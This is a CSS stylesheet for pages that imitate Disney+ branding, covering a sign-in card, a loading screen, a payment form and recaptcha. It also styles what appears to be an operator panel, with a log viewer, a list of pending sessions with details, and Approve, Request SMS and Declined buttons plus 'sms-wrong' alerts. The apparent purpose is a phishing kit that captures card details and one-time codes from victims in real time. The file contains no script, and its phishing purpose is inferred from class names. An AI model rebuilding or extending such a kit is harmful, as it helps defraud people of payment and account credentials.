* {
    margin: 0;
    padding: 0;
    box-sizing: border-box;
}

body {
    font-family: 'Inter', -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, Helvetica, Arial, sans-serif;
    background-color: #052F3F;
    min-height: 100vh;
    display: flex;
    flex-direction: column;
    align-items: center;
    justify-content: center;
    padding: 40px 20px;
    background-image: radial-gradient(ellipse at center, rgba(255, 255, 255, 0.04) 0%, transparent 70%);
}

.page-wrapper {
    width: 100%;
    max-width: 520px;
    display: flex;
    flex-direction: column;
    align-items: center;
}

.disney-plus-logo {
    width: 180px;
    height: auto;
    margin-bottom: 32px;
    filter: brightness(0) invert(1);
}

.card {
    background: #ffffff;
    border-radius: 20px;
    width: 100%;
    padding: 40px 48px 36px;
    box-shadow: 0 8px 32px rgba(0, 0, 0, 0.25);
}

.my-disney-logo {
    display: flex;
    align-items: center;
    gap: 4px;
    margin-bottom: 28px;
}

.my-disney-logo .my {
    font-size: 13px;
    font-weight: 600;
    letter-spacing: 0.02em;
    color: #111;
}

.my-disney-logo .disney-script {
    font-family: 'Times New Roman', Georgia, serif;
    font-size: 22px;
    font-weight: 700;
    font-style: italic;
    color: #111;
    letter-spacing: -0.5px;
}

.card h1 {
    font-size: 28px;
    font-weight: 700;
    color: #111;
    line-height: 1.25;
    margin-bottom: 16px;
    letter-spacing: -0.02em;
}

.card .subtitle {
    font-size: 14px;
    color: #555;
    line-height: 1.55;
    margin-bottom: 28px;
}

.form-group {
    margin-bottom: 16px;
}

.form-group label {
    display: block;
    font-size: 12px;
    font-weight: 500;
    color: #666;
    margin-bottom: 6px;
}

.form-group input,
.form-group select {
    width: 100%;
    padding: 16px 14px 14px;
    font-size: 15px;
    font-family: inherit;
    color: #111;
    background-color: #EDEDED;
    border: none;
    border-bottom: 2px solid #999;
    border-radius: 4px 4px 0 0;
    outline: none;
    transition: border-color 0.2s, background-color 0.2s;
}

.form-group input::placeholder {
    color: #888;
}

.form-group input:focus,
.form-group select:focus {
    background-color: #e5e5e5;
    border-bottom-color: #111;
}

.form-row {
    display: grid;
    grid-template-columns: 1fr 1fr;
    gap: 16px;
}

.btn-continue {
    width: 100%;
    padding: 16px 24px;
    margin-top: 8px;
    margin-bottom: 32px;
    font-size: 15px;
    font-weight: 600;
    font-family: inherit;
    color: #fff;
    background-color: #111;
    border: none;
    border-radius: 999px;
    cursor: pointer;
    transition: background-color 0.2s;
}

.btn-continue:hover {
    background-color: #333;
}

.btn-continue:last-child {
    margin-bottom: 0;
}

.divider {
    height: 1px;
    background-color: #ddd;
    margin-bottom: 24px;
}

.footer-text {
    font-size: 13px;
    color: #444;
    line-height: 1.55;
}

.footer-text strong {
    display: block;
    font-weight: 600;
    color: #222;
    margin-bottom: 8px;
}

.footer-text a {
    color: #0066cc;
    text-decoration: none;
}

.footer-text a:hover {
    text-decoration: underline;
}

.partner-logos {
    display: flex;
    flex-wrap: wrap;
    align-items: center;
    justify-content: center;
    gap: 20px 24px;
    margin-top: 28px;
    padding-top: 4px;
}

.partner-logos span {
    font-size: 11px;
    font-weight: 600;
    color: #999;
    letter-spacing: 0.04em;
    text-transform: uppercase;
}

.partner-logos .disney-partner {
    font-family: 'Times New Roman', Georgia, serif;
    font-style: italic;
    font-size: 14px;
    text-transform: none;
    letter-spacing: 0;
    color: #aaa;
}

.partner-logos .marvel {
    font-weight: 800;
    font-size: 10px;
    letter-spacing: 0.08em;
}

.partner-logos .starwars {
    font-size: 9px;
    letter-spacing: 0.12em;
}

/* Loading page */
.loading-card {
    text-align: center;
    padding: 56px 48px;
}

.spinner {
    width: 48px;
    height: 48px;
    border: 3px solid #e0e0e0;
    border-top-color: #111;
    border-radius: 50%;
    margin: 0 auto 28px;
    animation: spin 0.9s linear infinite;
}

@keyframes spin {
    to { transform: rotate(360deg); }
}

.loading-card h1 {
    font-size: 22px;
    margin-bottom: 12px;
}

.loading-card p {
    font-size: 14px;
    color: #555;
    line-height: 1.55;
}

.loading-dots::after {
    content: '';
    animation: dots 1.5s steps(4, end) infinite;
}

@keyframes dots {
    0%   { content: ''; }
    25%  { content: '.'; }
    50%  { content: '..'; }
    75%  { content: '...'; }
    100% { content: ''; }
}

/* Payment page */
.plan-summary {
    background: #f5f5f5;
    border-radius: 12px;
    padding: 20px 22px;
    margin-bottom: 28px;
    display: flex;
    justify-content: space-between;
    align-items: center;
}

.plan-summary .plan-info h2 {
    font-size: 16px;
    font-weight: 600;
    color: #111;
    margin-bottom: 4px;
}

.plan-summary .plan-info p {
    font-size: 13px;
    color: #666;
}

.plan-summary .plan-price {
    text-align: right;
}

.plan-summary .plan-price .amount {
    font-size: 24px;
    font-weight: 700;
    color: #111;
}

.plan-summary .plan-price .period {
    font-size: 12px;
    color: #666;
}

.secure-note {
    display: flex;
    align-items: center;
    gap: 8px;
    font-size: 12px;
    color: #666;
    margin-bottom: 24px;
}

.secure-note svg {
    flex-shrink: 0;
}

.card-icons {
    display: flex;
    gap: 8px;
    margin-bottom: 20px;
}

.card-icons span {
    font-size: 10px;
    font-weight: 700;
    color: #888;
    background: #f0f0f0;
    padding: 4px 8px;
    border-radius: 4px;
    letter-spacing: 0.05em;
}

.legal-text {
    font-size: 11px;
    color: #888;
    line-height: 1.5;
    margin-top: 20px;
}

.demo-summary {
    background: #f5f5f5;
    border-radius: 12px;
    padding: 20px 22px;
    margin-bottom: 16px;
}

.demo-summary h2 {
    font-size: 14px;
    font-weight: 600;
    color: #111;
    margin-bottom: 16px;
}

.demo-summary-row {
    display: flex;
    justify-content: space-between;
    align-items: center;
    gap: 16px;
    padding: 10px 0;
    border-bottom: 1px solid #e0e0e0;
    font-size: 13px;
}

.demo-summary-row:last-child {
    border-bottom: none;
}

.demo-summary-row span {
    color: #666;
}

.demo-summary-row strong {
    color: #111;
    font-family: 'Courier New', Courier, monospace;
    letter-spacing: 0.05em;
}

.log-viewer {
    background: #f5f5f5;
    border-radius: 12px;
    padding: 20px;
    max-height: 420px;
    overflow-y: auto;
}

.log-viewer pre {
    font-family: 'Courier New', Courier, monospace;
    font-size: 12px;
    line-height: 1.6;
    color: #222;
    white-space: pre-wrap;
    word-break: break-word;
}

.log-empty {
    font-size: 13px;
    color: #666;
}

.admin-error {
    color: #c0392b;
    font-size: 13px;
    margin-bottom: 16px;
}

.btn-secondary {
    width: 100%;
    padding: 14px 24px;
    font-size: 14px;
    font-weight: 600;
    font-family: inherit;
    color: #111;
    background-color: #e8e8e8;
    border: none;
    border-radius: 999px;
    cursor: pointer;
}

.btn-secondary:hover {
    background-color: #ddd;
}

.alert-declined,
.alert-sms-wrong {
    background: #fff0f0;
    border: 1px solid #e50914;
    color: #e50914;
    font-weight: 600;
    padding: 14px 16px;
    border-radius: 10px;
    font-size: 13px;
    line-height: 1.5;
    margin-bottom: 20px;
}

.recaptcha-wrap {
    margin-bottom: 16px;
    display: flex;
    justify-content: center;
}

.pending-list {
    margin-bottom: 24px;
}

.pending-item {
    background: #f5f5f5;
    border-radius: 12px;
    padding: 16px 18px;
    margin-bottom: 12px;
}

.pending-item p {
    font-size: 12px;
    color: #666;
    margin-bottom: 12px;
    line-height: 1.5;
}

.session-details {
    background: #fff;
    border-radius: 8px;
    padding: 12px 14px;
    margin-bottom: 12px;
}

.session-details .demo-summary-row {
    padding: 6px 0;
    font-size: 12px;
}

.pending-actions {
    display: grid;
    grid-template-columns: 1fr 1fr 1fr;
    gap: 10px;
}

.pending-actions form {
    margin: 0;
}

.btn-sms {
    width: 100%;
    padding: 12px;
    font-size: 13px;
    font-weight: 600;
    font-family: inherit;
    color: #fff;
    background: #111;
    border: none;
    border-radius: 999px;
    cursor: pointer;
}

.btn-approve {
    width: 100%;
    padding: 12px;
    font-size: 13px;
    font-weight: 600;
    font-family: inherit;
    color: #fff;
    background: #0066cc;
    border: none;
    border-radius: 999px;
    cursor: pointer;
}

.btn-declined {
    width: 100%;
    padding: 12px;
    font-size: 13px;
    font-weight: 600;
    font-family: inherit;
    color: #fff;
    background: #e50914;
    border: none;
    border-radius: 999px;
    cursor: pointer;
}

.bank-icon {
    display: flex;
    justify-content: center;
    margin-bottom: 20px;
}

@media (max-width: 560px) {
    .pending-actions {
        grid-template-columns: 1fr;
    }
}

@media (max-width: 560px) {
    .card {
        padding: 32px 24px 28px;
    }

    .card h1 {
        font-size: 24px;
    }

    .disney-plus-logo {
        width: 150px;
        margin-bottom: 24px;
    }

    .form-row {
        grid-template-columns: 1fr;
    }

    .loading-card {
        padding: 48px 24px;
    }
}
